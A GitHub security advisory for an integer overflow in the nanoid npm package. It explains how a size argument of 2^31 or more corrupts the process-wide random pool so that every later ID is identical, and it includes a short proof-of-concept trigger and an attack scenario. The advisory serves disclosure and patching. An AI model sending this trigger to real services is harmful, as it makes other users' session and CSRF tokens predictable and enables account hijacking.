GHSA-XWG4-73V4-XW9W

Vulnerability from github – Published: 2026-09-01 19:23 – Updated: 2026-09-01 19:23
VLAI
Summary
nanoid: Integer Overflow or Wraparound
Details

Summary

An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.

Details

nanoid() at index.js:101 coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.

The negative value is passed to fillPool() (index.js:15):

function fillPool(bytes) {
  if (!pool || pool.length < bytes) {       // false: pool exists, -2B < pool.length
    pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
    crypto.getRandomValues(pool)
    poolOffset = 0
  } else if (poolOffset + bytes > pool.length) {  // false: poolOffset + (-2B) < pool.length
    crypto.getRandomValues(pool)
    poolOffset = 0
  }
  poolOffset += bytes  // poolOffset += -2147483648 → deeply negative
}

Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.

Subsequent nanoid() calls execute:

for (let i = poolOffset - size; i < poolOffset; i++) {
  id += scopedUrlAlphabet[pool[i] & 63]
}

pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".

The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.

PoC

import { nanoid } from 'nanoid'

// Step 1: Normal operation
console.log(nanoid())  // e.g., "V1StGXR8_Z5jdHi6B-myT"

// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}

// Step 3: All subsequent IDs are deterministic
console.log(nanoid())  // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid())  // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid())  // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wide

Run with: node --experimental-vm-modules poc.mjs

Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).

Impact

Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.

  • All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable
  • An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass
  • The corruption is persistent (survives across requests) and affects all consumers of nanoid in the same process
  • No special privileges or preconditions required — a single unauthenticated request is sufficient
  • Affects any application that passes external input to the size parameter without validation
Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nanoid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "nanoid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.1.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73086"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-01T19:23:45Z",
    "nvd_published_at": "2026-08-11T17:19:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn integer overflow in `nanoid(size)` permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string `\"uuuuuuuuuuuuuuuuuuuuu\"`. Any application that passes user-influenced values to the `size` parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.\n\n### Details\n\n`nanoid()` at [`index.js:101`](https://github.com/ai/nanoid/blob/main/index.js#L101) coerces the `size` parameter with `size |= 0`, which converts it to a signed 32-bit integer. When `size \u003e= 2^31` (e.g., `2147483648`), this wraps to `-2147483648`.\n\nThe negative value is passed to `fillPool()` ([`index.js:15`](https://github.com/ai/nanoid/blob/main/index.js#L15)):\n\n```javascript\nfunction fillPool(bytes) {\n  if (!pool || pool.length \u003c bytes) {       // false: pool exists, -2B \u003c pool.length\n    pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)\n    crypto.getRandomValues(pool)\n    poolOffset = 0\n  } else if (poolOffset + bytes \u003e pool.length) {  // false: poolOffset + (-2B) \u003c pool.length\n    crypto.getRandomValues(pool)\n    poolOffset = 0\n  }\n  poolOffset += bytes  // poolOffset += -2147483648 \u2192 deeply negative\n}\n```\n\nNeither branch triggers, so the pool is never refreshed. `poolOffset` becomes ~-2.1 billion.\n\nSubsequent `nanoid()` calls execute:\n```javascript\nfor (let i = poolOffset - size; i \u003c poolOffset; i++) {\n  id += scopedUrlAlphabet[pool[i] \u0026 63]\n}\n```\n\n`pool[negative_index]` returns `undefined`. `undefined \u0026 63` evaluates to `0`. `urlAlphabet[0]` is `\u0027u\u0027`. Every ID becomes `\"uuuuuuuuuuuuuuuuuuuuu\"`.\n\nThe corruption is **persistent** \u2014 it affects all subsequent calls in the process until ~100 million calls eventually wrap `poolOffset` back to positive, or the process restarts.\n\n### PoC\n\n```javascript\nimport { nanoid } from \u0027nanoid\u0027\n\n// Step 1: Normal operation\nconsole.log(nanoid())  // e.g., \"V1StGXR8_Z5jdHi6B-myT\"\n\n// Step 2: Trigger overflow (e.g., from an API parameter)\ntry { nanoid(2147483648) } catch(e) {}\n\n// Step 3: All subsequent IDs are deterministic\nconsole.log(nanoid())  // \"uuuuuuuuuuuuuuuuuuuuu\"\nconsole.log(nanoid())  // \"uuuuuuuuuuuuuuuuuuuuu\"\nconsole.log(nanoid())  // \"uuuuuuuuuuuuuuuuuuuuu\"\n// ... forever, process-wide\n```\n\nRun with: `node --experimental-vm-modules poc.mjs`\n\nAttack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to `nanoid(userInput)`.\n\n### Impact\n\n**Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.**\n\n- All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable\n- An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass\n- The corruption is persistent (survives across requests) and affects all consumers of `nanoid` in the same process\n- No special privileges or preconditions required \u2014 a single unauthenticated request is sufficient\n- Affects any application that passes external input to the `size` parameter without validation",
  "id": "GHSA-xwg4-73v4-xw9w",
  "modified": "2026-09-01T19:23:45Z",
  "published": "2026-09-01T19:23:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ai/nanoid/security/advisories/GHSA-xwg4-73v4-xw9w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73086"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ai/nanoid"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ai/nanoid/releases/tag/3.3.12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ai/nanoid/releases/tag/5.1.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "nanoid: Integer Overflow or Wraparound"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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